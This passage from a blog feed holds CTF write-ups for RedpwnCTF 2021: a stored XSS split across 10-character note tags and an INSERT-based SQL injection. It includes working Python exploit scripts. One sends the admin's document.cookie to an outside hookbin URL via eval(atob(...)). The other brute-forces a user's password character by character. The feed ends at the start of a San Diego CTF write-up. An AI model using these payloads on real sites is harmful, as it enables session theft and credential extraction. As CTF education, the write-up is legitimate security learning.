  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">req</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">login</span><span class="p">)</span> <span class="k">throw</span> <span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">Not logged in!</span><span class="dl">'</span><span class="p">,</span> <span class="mi">401</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">username</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">admin</span><span class="dl">'</span><span class="p">)</span>
    <span class="k">throw</span> <span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">No admin notes please!</span><span class="dl">'</span><span class="p">,</span> <span class="mi">400</span><span class="p">);</span>
  <span class="nx">db</span><span class="p">.</span><span class="nx">addNote</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">username</span><span class="p">,</span> <span class="p">{</span>
    <span class="na">body</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">body</span><span class="p">,</span>
    <span class="na">tag</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">tag</span><span class="p">,</span>
  <span class="p">});</span>
  <span class="k">return</span> <span class="p">{};</span>
<span class="p">}</span>
<span class="p">);</span>
</code></pre></div></div>

<p><strong>Wait..</strong> May be we can split a XSS payload and store each part in a tag of separate notes. Ofcourse we should make sure that
  all the parts form a valid XSS payload.</p>

<p>Lets try sending the following payload</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span><span class="nx">alert</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div></div>

<p>We must also make sure to comment the extra HTML added by the template.
As only 10 characters are allowed in a tag, the payload can be sent in following way -</p>

<p>Request 1:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">tag</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">&lt;script&gt;/*</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Request 2:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">*/alert(1)/*</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">tag</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">*/</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Yayy!! We got a perfect script tag with an alert in it.</p>

<p><img src="/images/redpwn/script.png" alt="" /></p>

<p>The extra HTML added by the template is ignored using javascript comments.
But wait, alert hasn’t popped up?? Why is that so? 
I still don’t understand why it’s not working. If any one did please let me know :)</p>

<h4 id="solution-2">Solution</h4>

<p>But as a work around i tried to inject an image tag. Payload would be similar to -</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">1</span> <span class="na">onerror=</span><span class="s">alert(1)</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>This is not an easy task. Because between every two notes HTML is being added by the template.
And we should somehow make our payload to ignore that HTML and trigger the XSS.</p>

<p>In the previous payload we used javascript comments. But as the current context is inside an image tag.
So we can’t use comments here.</p>

<p>One way around is making the unwanted HTML as the value of an attribure. 
After several tries, below payload i used looked a bit promising -</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">x=</span><span class="s">'Unwanted HTML here goes here'</span> <span class="na">src=</span><span class="s">1</span> <span class="na">onerror=</span><span class="s">'alert(1)/*Unwanted HTML here goes here*/'</span><span class="nt">&gt;</span>

</code></pre></div></div>
<p>The x is a fake attribute. Here, it is used to make the payload ignore unwanted HTML.</p>

<p>The above payload can be sent in the following way -</p>

<p>Request 1:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">foo</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">tag</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">&lt;img x='</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Request 2:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">' src=1 onerror='alert(1)/*</span><span class="dl">"</span><span class="p">,</span>
    <span class="dl">"</span><span class="s2">tag</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">*/'&gt;</span><span class="dl">"</span>
<span class="p">}</span>
</code></pre></div></div>

<p>But unfortunately, still there was not alert popup.. :( 
I have took a look into response i got-</p>

<p><img src="/images/redpwn/res1.png" alt="" /></p>

<p>I have made a mistake in the payload. I was not able to notice that during the CTF. 
By that time, three hours left for CTF to end, i felt overwhelemed and finally gave up on it. :(</p>

<p>Looking for solution, I found this in the discord.</p>

<p><img src="/images/redpwn/discord.png" alt="" /></p>

<p>By <a href="http://">@Triacontakai</a></p>

<p>I felt bad for not trying enough. My payload was close.</p>

<p>In my payload, the sigle quotes inserted are being parsed in the context of the attribute x.
So all the payload inserted is being added as the value of x instead of breaking out.</p>

<p>In the correct solution the one additional tag is used. It first breaks the <strong>a</strong> attribute
and opens <strong>onload</strong> attribute. Doing this way, it worked.
But why is this happening?? It’s all about understanding weird HTML parsing.
To modify my payload in a similar way have complications coz of <strong>onerror</strong> is long attribute. So ignoring the unwanted HTML
is hard.</p>

<p>So im gonna stick with above style payload. It uses onload to execute the javascript. It fits exactly.
Also to execute arbitrary JS code, it uses eval along with atob, to decode a base64 string and run the code we provide.
This is usefull bypassing the encoding of body parameter.</p>

<p>So lets try this now. I have used a python script to do this.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">base64</span>

<span class="n">url</span> <span class="o">=</span> <span class="s">"https://notes.mc.ax"</span>
<span class="n">hookurl</span> <span class="o">=</span> <span class="s">"https://hookb.in/zrr8VBZpwXhol3MMlLbJ"</span> <span class="c1"># replace with your hookbin url
</span><span class="n">code</span> <span class="o">=</span> <span class="s">"fetch('{}?key='+document.cookie)"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">hookurl</span><span class="p">)</span>
<span class="n">encoded</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64encode</span><span class="p">(</span><span class="n">code</span><span class="p">.</span><span class="n">encode</span><span class="p">()).</span><span class="n">decode</span><span class="p">()</span>

<span class="n">username</span> <span class="o">=</span> <span class="s">"lol"</span> <span class="c1"># replace with random username
</span>
<span class="k">with</span> <span class="n">requests</span><span class="p">.</span><span class="n">Session</span><span class="p">()</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
  <span class="n">s</span><span class="p">.</span><span class="n">headers</span><span class="p">.</span><span class="n">update</span><span class="p">({</span><span class="s">'Content-Type'</span><span class="p">:</span> <span class="s">'application/json'</span><span class="p">})</span>
  <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"username"</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
    <span class="s">"password"</span><span class="p">:</span> <span class="n">username</span>
  <span class="p">}</span>
  <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s">'/api/register'</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
  <span class="k">print</span><span class="p">(</span><span class="s">"[+] Registered a user.."</span><span class="p">)</span>

  <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"body"</span><span class="p">:</span> <span class="s">"foo"</span><span class="p">,</span>
    <span class="s">"tag"</span><span class="p">:</span> <span class="s">"&lt;style a='"</span>
  <span class="p">}</span>

  <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s">'/api/notes'</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>

  <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"body"</span><span class="p">:</span> <span class="s">"foo"</span><span class="p">,</span>
    <span class="s">"tag"</span><span class="p">:</span> <span class="s">"'onload='`"</span>
  <span class="p">}</span>

  <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s">'/api/notes'</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>

  <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"body"</span><span class="p">:</span> <span class="s">"`;eval(atob(`{}`))/*"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">encoded</span><span class="p">),</span>
    <span class="s">"tag"</span><span class="p">:</span> <span class="s">"*/'&gt;"</span>
  <span class="p">}</span>

  <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s">'/api/notes'</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Visit {}/view/{} to trigger stored XSS"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">username</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Payload generated. Visit {} for cookie"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">hookurl</span><span class="p">))</span>
</code></pre></div></div>

<p>To trigger the XSS, view the user’s posts.</p>

<p>Okay XSS part is done. Now we need to leverage this to get admin’s cookie.</p>

<h4 id="admins-cookie">Admin’s Cookie</h4>

<p>I have to mention one more important point here. Admin can view all the notes of any user
regardless of public or private. If this functionality is absent, the stored XSS, we found
would have been a self XSS. This is because, we are modifing the tag itself to trigger the XSS.</p>

<p>The source code responsible for this is mentioned below -</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fastify</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/notes/:username</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">notes</span> <span class="o">=</span> <span class="nx">db</span><span class="p">.</span><span class="nx">getNotes</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">username</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">params</span><span class="p">.</span><span class="nx">username</span> <span class="o">===</span> <span class="nx">req</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">username</span><span class="p">)</span> <span class="k">return</span> <span class="nx">notes</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">auth</span><span class="p">.</span><span class="nx">username</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">admin</span><span class="dl">'</span><span class="p">)</span> <span class="k">return</span> <span class="nx">notes</span><span class="p">;</span> <span class="c1">// if admin return all the notes</span>
  <span class="k">return</span> <span class="nx">notes</span><span class="p">.</span><span class="nx">filter</span><span class="p">((</span><span class="nx">note</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">note</span><span class="p">.</span><span class="nx">tag</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">public</span><span class="dl">'</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>
<p>So we could make the admin bot to view our notes by providing the link to trigger the XSS. Thus, the XSS would 
deliver us the admin’s cookie once the admin bot visits the link.</p>

<p>Here is the cookie i got in my hookbin -
<img src="/images/redpwn/cookie.png" alt="" /></p>

<p>Now just use the cookie to be the <strong>admin</strong>. Look at private posts of admin.</p>

<p><img src="/images/redpwn/flag.png" alt="" /></p>

<p>And yeah, we have the flag</p>

<h3 id="flag-1">Flag</h3>
<blockquote>
  <p>flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}</p>
</blockquote>

<p><br /></p>

<h2 id="takeaways">Takeaways</h2>
<ul>
  <li>Look at all the parameters to check if they are injecteble.</li>
  <li>Try exploiting the vulnerablity in different ways to get more impact.</li>
  <li>Try testing every input parameter for XSS.</li>
  <li>The way HTML parsing is done results in lot of bypasses. Keep an eye.</li>
  <li>Take time to try different payloads. Gradually that will unlock the things.</li>
</ul>

<p><br />
<br /></p>

<p>Happy Hacking!</p>

<p><br />
<br /></p>

<blockquote>
  <p>Feel free to provide feedback.</p>
</blockquote>]]></content><author><name>Jokr</name><email>hemanthjavvaji007@gmail.com</email></author><category term="RedpwnCTF&amp;nbsp;2021" /><category term="web" /><category term="SQLi" /><category term="INSERT" /><category term="stored&amp;nbsp;xss" /><category term="length&amp;nbsp;bypass" /><summary type="html"><![CDATA[Here, you can find write-ups of few interesting challenges from my solves in RedpwnCTF 2021. Cool TL;DR The application allows users to register. The register funtionality is vulnerable to SQL injection. In this case, SQLi is inside the INSERT statement. Retriving data is non-trivial and time consuming using this type of SQLi. The goal is to retrive the admin’s password. And we get the flag Looking into website we have a registration page - On registering with an arbitary account and logging in would display the following message The source code for the website is given. Take a look at it - from flask import ( Flask, request, render_template_string, session, redirect, send_file ) from random import SystemRandom import sqlite3 import os app = Flask(__name__) app.secret_key = 'IS_THIS_VULN' rand = SystemRandom() allowed_characters = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789' ) def execute(query): con = sqlite3.connect('db/db.sqlite3') cur = con.cursor() cur.execute(query) con.commit() return cur.fetchall() def generate_token(): tok = ''.join( rand.choice(list(allowed_characters)) for _ in range(32) ) print(tok) return tok def create_user(username, password): print(username) if any(c not in allowed_characters for c in username): return (False, 'Alphanumeric usernames only, please.') if len(username) &lt; 1: return (False, 'Username is too short.') if len(password) &gt; 50: return (False, 'Password is too long.') other_users = execute( f'SELECT * FROM users WHERE username=\'{username}\';' ) if len(other_users) &gt; 0: return (False, 'Username taken.') execute( 'INSERT INTO users (username, password)' f'VALUES (\'{username}\', \'{password}\');' ) return (True, '') def check_login(username, password): if any(c not in allowed_characters for c in username): return False correct_password = execute( f'SELECT password FROM users WHERE username=\'{username}\';' ) if len(correct_password) &lt; 1: return False print(correct_password) return correct_password[0][0] == password @app.route('/', methods=['GET', 'POST']) def login(): error = '' if request.method == 'POST': valid_login = check_login( request.form['username'], request.form['password'] ) if valid_login: session['username'] = request.form['username'] return redirect('/message') error = 'Incorrect username or password.' if 'username' in session: return redirect('/message') return render_template_string(''' &lt;link rel="stylesheet" href="/static/style.css" /&gt; &lt;div class="container"&gt; &lt;p&gt;Log in to see Aaron's message!&lt;/p&gt; &lt;form method="POST"&gt; &lt;label for="username"&gt;Username&lt;/label&gt; &lt;input type="text" name="username" /&gt; &lt;label for="password"&gt;Password&lt;/label&gt; &lt;input type="password" name="password" /&gt; &lt;input type="submit" value="Log In" /&gt; &lt;/form&gt; &lt;p&gt;&lt;/p&gt; &lt;a href="/register"&gt;Register&lt;/a&gt; &lt;div class="container"&gt; ''', error=error) @app.route('/register', methods=['GET', 'POST']) def register(): message = '' if request.method == 'POST': success, message = create_user( request.form['username'], request.form['password'] ) if success: session['username'] = request.form['username'] return redirect('/message') return render_template_string(''' &lt;link rel="stylesheet" href="/static/style.css" /&gt; &lt;div class="container"&gt; &lt;p&gt;Register!&lt;/p&gt; &lt;form method="POST"&gt; &lt;label for="username"&gt;Username&lt;/label&gt; &lt;input type="text" name="username" /&gt; &lt;label for="password"&gt;Password&lt;/label&gt; &lt;input type="password" name="password" /&gt; &lt;input type="submit" value="Register" /&gt; &lt;/form&gt; &lt;p&gt;&lt;/p&gt; &lt;/div&gt; ''', error=message) @app.route('/message') def message(): if 'username' not in session: return redirect('/') if session['username'] == 'ginkoid': return send_file( 'flag.mp3', attachment_filename='flag-at-end-of-file.mp3' ) return ''' &lt;link rel="stylesheet" href="/static/style.css" /&gt; &lt;div class="container"&gt; &lt;p&gt;You are logged in!&lt;/p&gt; &lt;p&gt;Unfortunately, Aaron's message is for cool people only.&lt;/p&gt; &lt;p&gt;(like ginkoid)&lt;/p&gt; &lt;a href="/logout"&gt;Log out&lt;/a&gt; &lt;/div&gt; ''' @app.route('/logout') def logout(): if 'username' not in session: return redirect('/') del session['username'] return redirect('/') def init(): # this is terrible but who cares execute(''' CREATE TABLE IF NOT EXISTS users ( username TEXT PRIMARY KEY, password TEXT ); ''') execute('DROP TABLE users;') execute(''' CREATE TABLE users ( username TEXT PRIMARY KEY, password TEXT ); ''') # put ginkoid into db ginkoid_password = generate_token() execute( 'INSERT OR IGNORE INTO users (username, password)' f'VALUES (\'ginkoid\', \'{ginkoid_password}\');' ) execute( f'UPDATE users SET password=\'{ginkoid_password}\'' f'WHERE username=\'ginkoid\';' ) app.run(debug=True) init() Looking at the source code above carefully, we can find that [INSERT INTO] statement in create_user. The username is whitelisted for allowed characters but not the password field. Additionally password must be less than 50 chars long. To retrive the data using this injection is not so easy because - The execute funtion cannot execute multiple statements. And INSERT statement cannot be combined with other statements easily, to retrive data. Work around So to exploit this situation, we must use something with INSERT statement. Let’s first take a look at injection - INSERT INTO users (username, password) values ('username', '[INJECTION POINT]'); We just need to break out of SQL syntax by injecting foo’)– in password field - INSERT INTO users (username, password) values ('foo', 'foo')--'); With this we can confirm the SQLi, checking if user with those creds created. So now we need to retrive the password of ginkoid to login and get the flag. Solution The strategy to get the password - SELECT statement can be used with INSERT statement So we can select the fisrt character of ginkoids’s password Use that single char as password for new account. As the ginkoid’s password lies in allowed characters, we can bruteforce the character by logging into the new account. Once logged in, the character is noted as first char of ginkoid’s password We repeat the same process 32 times to get each char of password at one time The basic injection to get first character of ginkoid’s password and stores as new account’s password - INSERT INTO users (username, password) values ('new1', ''||(substr((select password from users),1,1)))--'); Consider the above payload - SELECT password [FROM] users would give the first user’s password. This is used to reduce the payload size. Here, substr is used to select a single char of password. || operator is used to concatenate the character with an empty string -- is used to comment out the rest of the statement to get valid syntax To automate this, i have used the following python script - import requests url = "https://cool.mc.ax" allowed_characters = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789' ) name = "loo" def exploit(): password = "" for i in range(1, 33): payload = { "username": "{}{}".format(name, i), "password": "'||(substr((select password from users),{},1)))--".format(i) } if i in [10, 20, 30]: pos = int(str(i)[0]) payload = { "username": "{}{}".format("foomids", pos), "password": "'||(substr((select password from users),{},1)))--".format(i) } res = requests.post(url+'/register', data=payload) # print("[+] Registered a user. Payload: ", payload) for c in allowed_characters: payload = { "username": "{}{}".format(name,i), "password": "{}".format(c) } if i in [10, 20, 30]: pos = int(str(i)[0]) payload = { "username": "{}{}".format("foomids",pos), "password": "{}".format(c) } # print(payload) res = requests.post(url, data=payload) if len(res.text) &lt; 600: password += c print(password) break else: print("Not found at position: {}".format(i)) password += '_' print(password) exploit() Run the above script to get the password. Password randomly changes after every restart. Here is the output password generated by the exploit code - Login to ginkoid account and you will get an mp3 file with flag. flag-at-end-of-file.mp3 Run the following command to get the flag - tail -1 flag-at-end-of-file.mp3 Flag flag{44r0n_s4ys_s08r137y_1s_c00l} Notes TL;DR The application has a funtionality to store notes Each note has two sections, a body and a tag The body is the text section of note and tag can be public or private The challange invovled exploiting a stored XSS vulnerability in the tag parameter But the payload is constrained to 10 charachters As we could store many notes, crafting a valid XSS payload using more than one note worked. Application has an admin who has permission of viewing all notes. Admin has also stored the FLAG as his private note. So send a crafted link to admin which triggers the stored XSS and gets his cookie We login as admin and get the flag. Solution Lets take a look at the website. The application allows users to have an account. User can register and login. The website has a funtionality to take notes. Each note is associated with a body which is the actual content and a tag which can be public or private. Public notes can be viewed by all the users, while private notes can only be viewed by the user who creates it. Notes are stored and can be viewed later on. Where is the vulnerablity ? Source code for the website is given. Interesting parts of the source code are shown below. const template = document.querySelector('#note-template').innerHTML; const container = document.querySelector('.container'); const user = new URL(window.location).pathname.split('/')[2]; const populateTemplate = (template, params) =&gt; template.replace(/\{\{\s?(.+?)\s?\}\}/g, (match, param) =&gt; params[param]); (async () =&gt; { const request = await fetch(`/api/notes/${user}`); const notes = await request.json(); const renderedNotes = []; for (const note of notes) { // this one is controlled by user, so prevent xss const body = note.body .replaceAll('&lt;', '&amp;lt;') .replaceAll('&gt;', '&amp;gt;') .replaceAll('"', '&amp;quot;') .replaceAll('\'', '&amp;#39;'); // this one isn't, but make sure it fits on page const tag = note.tag.length &gt; 10 ? note.tag.substring(0, 7) + '...' : note.tag; // render templates and put them in our array const rendered = populateTemplate(template, { body, tag }); renderedNotes.push(rendered); } container.innerHTML += renderedNotes.join(''); })(); The above code takes the user-controlled parameters and adds them to HTML template. The special characters which can lead to XSS are encoded in the body parameter. So XSS is not possible in this context. But wait, is the tag parameter filtered? Oh, it’s not!! On looking into the website one might think that the tag can only be public or private, but it can simply be modified to anything using a HTTP proxy like Burp. So, we have a user-controlled parameter which is not filtered and added to HTML. This is enough to get stored XSS (As the notes were being stored in the application). But this is not the big part of the challenge. The tag paramenter can only be 10 characters long. It would be stripped if it’s more than that. And this is a serious issue. How to trigger XSS? I slowly started thinking about bypassing the length check to trigger XSS. The tag parameter was sent as a string. So modifying it to an array would make it’s length equal to lenght of the array. Irrespective of length of string in the array, length of array would remain 1, thus bypassing the check. But this didn’t work as the parameter was strictly checked for string type. Tried modifying the content-type from application/json to application/x-www-form-urlencoded hoping for bypass. But again it strictly checks for json. Here is the schema used for validation in the source code - fastify.post( '/notes', { schema: { body: { type: 'object', properties: { body: { type: 'string' }, tag: { type: 'string' }, }, required: ['body', 'tag'], }, }, }, (req) =&gt; { if (!req.auth.login) throw error('Not logged in!', 401); if (req.auth.username === 'admin') throw error('No admin notes please!', 400); db.addNote(req.auth.username, { body: req.body.body, tag: req.body.tag, }); return {}; } ); Wait.. May be we can split a XSS payload and store each part in a tag of separate notes. Ofcourse we should make sure that all the parts form a valid XSS payload. Lets try sending the following payload &lt;script&gt;alert(1)&lt;/script&gt; We must also make sure to comment the extra HTML added by the template. As only 10 characters are allowed in a tag, the payload can be sent in following way - Request 1: data = { "body": "foo", "tag": "&lt;script&gt;/*" } Request 2: data = { "body": "*/alert(1)/*", "tag": "*/" } Yayy!! We got a perfect script tag with an alert in it. The extra HTML added by the template is ignored using javascript comments. But wait, alert hasn’t popped up?? Why is that so? I still don’t understand why it’s not working. If any one did please let me know :) Solution But as a work around i tried to inject an image tag. Payload would be similar to - &lt;img src=1 onerror=alert(1)&gt; This is not an easy task. Because between every two notes HTML is being added by the template. And we should somehow make our payload to ignore that HTML and trigger the XSS. In the previous payload we used javascript comments. But as the current context is inside an image tag. So we can’t use comments here. One way around is making the unwanted HTML as the value of an attribure. After several tries, below payload i used looked a bit promising - &lt;img x='Unwanted HTML here goes here' src=1 onerror='alert(1)/*Unwanted HTML here goes here*/'&gt; The x is a fake attribute. Here, it is used to make the payload ignore unwanted HTML. The above payload can be sent in the following way - Request 1: data = { "body": "foo", "tag": "&lt;img x='" } Request 2: data = { "body": "' src=1 onerror='alert(1)/*", "tag": "*/'&gt;" } But unfortunately, still there was not alert popup.. :( I have took a look into response i got- I have made a mistake in the payload. I was not able to notice that during the CTF. By that time, three hours left for CTF to end, i felt overwhelemed and finally gave up on it. :( Looking for solution, I found this in the discord. By @Triacontakai I felt bad for not trying enough. My payload was close. In my payload, the sigle quotes inserted are being parsed in the context of the attribute x. So all the payload inserted is being added as the value of x instead of breaking out. In the correct solution the one additional tag is used. It first breaks the a attribute and opens onload attribute. Doing this way, it worked. But why is this happening?? It’s all about understanding weird HTML parsing. To modify my payload in a similar way have complications coz of onerror is long attribute. So ignoring the unwanted HTML is hard. So im gonna stick with above style payload. It uses onload to execute the javascript. It fits exactly. Also to execute arbitrary JS code, it uses eval along with atob, to decode a base64 string and run the code we provide. This is usefull bypassing the encoding of body parameter. So lets try this now. I have used a python script to do this. import requests import base64 url = "https://notes.mc.ax" hookurl = "https://hookb.in/zrr8VBZpwXhol3MMlLbJ" # replace with your hookbin url code = "fetch('{}?key='+document.cookie)".format(hookurl) encoded = base64.b64encode(code.encode()).decode() username = "lol" # replace with random username with requests.Session() as s: s.headers.update({'Content-Type': 'application/json'}) data = { "username": username, "password": username } res = s.post(url+'/api/register', json=data) print("[+] Registered a user..") data = { "body": "foo", "tag": "&lt;style a='" } res = s.post(url+'/api/notes', json=data) data = { "body": "foo", "tag": "'onload='`" } res = s.post(url+'/api/notes', json=data) data = { "body": "`;eval(atob(`{}`))/*".format(encoded), "tag": "*/'&gt;" } res = s.post(url+'/api/notes', json=data) print("Visit {}/view/{} to trigger stored XSS".format(url, username)) print("Payload generated. Visit {} for cookie".format(hookurl)) To trigger the XSS, view the user’s posts. Okay XSS part is done. Now we need to leverage this to get admin’s cookie. Admin’s Cookie I have to mention one more important point here. Admin can view all the notes of any user regardless of public or private. If this functionality is absent, the stored XSS, we found would have been a self XSS. This is because, we are modifing the tag itself to trigger the XSS. The source code responsible for this is mentioned below - fastify.get('/notes/:username', (req) =&gt; { const notes = db.getNotes(req.params.username); if (req.params.username === req.auth.username) return notes; if (req.auth.username === 'admin') return notes; // if admin return all the notes return notes.filter((note) =&gt; note.tag === 'public'); }); So we could make the admin bot to view our notes by providing the link to trigger the XSS. Thus, the XSS would deliver us the admin’s cookie once the admin bot visits the link. Here is the cookie i got in my hookbin - Now just use the cookie to be the admin. Look at private posts of admin. And yeah, we have the flag Flag flag{w0w_4n07h3r_60lf1n6_ch4ll3n63} Takeaways Look at all the parameters to check if they are injecteble. Try exploiting the vulnerablity in different ways to get more impact. Try testing every input parameter for XSS. The way HTML parsing is done results in lot of bypasses. Keep an eye. Take time to try different payloads. Gradually that will unlock the things. Happy Hacking! Feel free to provide feedback.]]></summary></entry><entry><title type="html">San Diego CTF 2021</title><link href="https://jokrsec.github.io/2021/05/09/San-Diego-CTF.html" rel="alternate" type="text/html" title="San Diego CTF 2021" /><published>2021-05-09T00:00:00+00:00</published><updated>2021-05-09T00:00:00+00:00</updated><id>https://jokrsec.github.io/2021/05/09/San-Diego-CTF</id><content type="html" xml:base="https://jokrsec.github.io/2021/05/09/San-Diego-CTF.html"><![CDATA[<p><img src="/images/sandiago.png" alt="" />
<br /></p>

<p>Here, you can find write-ups of few interesting challenges from my solves in San Diego CTF 2021 2021.</p>

<h2 id="apollo">Apollo</h2>
<p><img src="/images/apollo-1337.png" alt="" />
<br /></p>

<h3 id="tldr">TL;DR</h3>
<ul>
  <li>The website’s interface seems to be down.</li>
  <li>While investigating the network, website uses an API with the path <a href="https://">/api/status?verbose=</a></li>
  <li>Setting parameter verbose to any value, unlocks other <strong>API paths</strong></li>
  <li>Investigating the responses and crafting a right request would launch the rocket</li>
  <li>Finally, the <strong>crafted request</strong>, requires an <strong>Authorization token</strong>, which can be found on Frontend JS pages</li>
  <li>Sending the correct request along with Authorization token would give the <strong>flag</strong></li>
</ul>

<p><br /></p>

<h3 id="solution">Solution</h3>

<p>Opening up the website, the page shows two messages about Frontend and Backend Servers. It says, the FrontEnd is not active, but the Backend server is working fine.</p>

<p><img src="/images/server-error.png" alt="" /></p>

<p>There must be some sort of API which the website must be using as refered in the challenge description</p>

<p>Checking out the network tab in firefox dev tools, reveals the Backend API route</p>
<blockquote>
  <p><a href="https://">https://space.sdc.tf/api/status?verbose=</a></p>
</blockquote>

<p><img src="/images/inspector.png" alt="" /></p>

<p>This route gives the following response</p>

<p><img src="/images/api-first-resp.png" alt="" /></p>

<p>Wait!! We got the API, but what’s the verbose parameter in the URL?
May be it generates verbose response!. Trying <a href="https://">?verbose=1</a>, yeilds the following response</p>

<p><img src="/images/api-resp.png" alt="" /></p>

<p>Cool!! It revealed some other API paths. Rocket launching and fuel? The path <a href="https://">/rocketLaunch</a> is more interesting according to the challenge description</p>

<p>Let’s try sending some requests using python.</p>

<p>Sending a get request using python -</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"https://space.sdc.tf/api/rocketLaunch"</span>
<span class="k">print</span><span class="p">(</span><span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>request body must be json
